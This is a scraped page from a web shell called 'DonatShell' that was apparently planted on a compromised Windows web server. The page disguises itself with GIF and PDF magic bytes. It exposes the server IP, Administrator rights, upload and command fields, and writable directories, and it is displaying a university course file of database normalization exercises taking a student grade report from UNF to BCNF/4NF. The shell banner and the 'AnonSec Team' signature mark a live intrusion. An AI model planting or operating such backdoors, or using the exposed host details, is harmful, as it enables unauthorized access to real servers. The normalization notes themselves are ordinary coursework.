GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/Database Design 2nd Edition pp67.txt
Database Design 2nd Edition pp67

UNF:
Student_Grade_Report (StudentNo, StudentName, Major, CourseNo, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)

1NF: There are no columns containing lists of data and no fields representing the same data.
Student_Grade_Report (StudentNo, StudentName, Major, CourseNo, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)

2NF:
Student (StudentNo*, StudentName, Major)
StudentCourse (StudentNo*, CourseNo*, Grade)
CourseInstructor (CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation)

3NF:
Student (StudentNo*, StudentName, Major)
CourseGrade (StudentNo*, CourseNo*, Grade)
Course (CourseNo*, CourseName, InstructorNo)
Instructor (InstructorNo*, InstructorName, InstructorLocation)


UNF:
Student_Grade_Report (StudentNo, StudentName, Major, CourseNo, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)

3NF: Logic: only one instructor per course.
Student (StudentNo*, StudentName, Major)
CourseGrade (StudentNo*@, CourseNo*@, Grade)
Course (CourseNo*, CourseName, InstructorNo@)
Instructor (InstructorNo*, InstructorName, InstructorLocation)

BCNF/4NF: Logic: multiple instructors per course, Instructors may move to teach another course.
Student (StudentNo*, StudentName, AdvisorNo@)
Student_Advisor (StudentNo*, AdvisorNo*@)
CourseGrade (StudentNo*@, CourseNo*@, Grade)
Course (CourseNo*, CourseName, )
Course_Instructor (CourseNo*@, InstructorNo@, InstructorLocation)
Instructor (InstructorNo*, InstructorName)
Advisor ( AdvisorNo, MajorNo@, InstructorNo*@)
Major (MajorNo*, Major)

Student (StudentNo*, StudentName)
Student_Advisor (StudentNo*, InstructorNo(Advisor)*@)
CourseGrade (StudentNo*@, CourseNo*@, Grade)
Course (CourseNo*, CourseName, )
Course_Instructor (CourseNo*@, InstructorNo@, InstructorLocation)
Instructor (InstructorNo*, InstructorName, MajorNo@)
Major (MajorNo*, Major)

Anon7 - 2022
AnonSec Team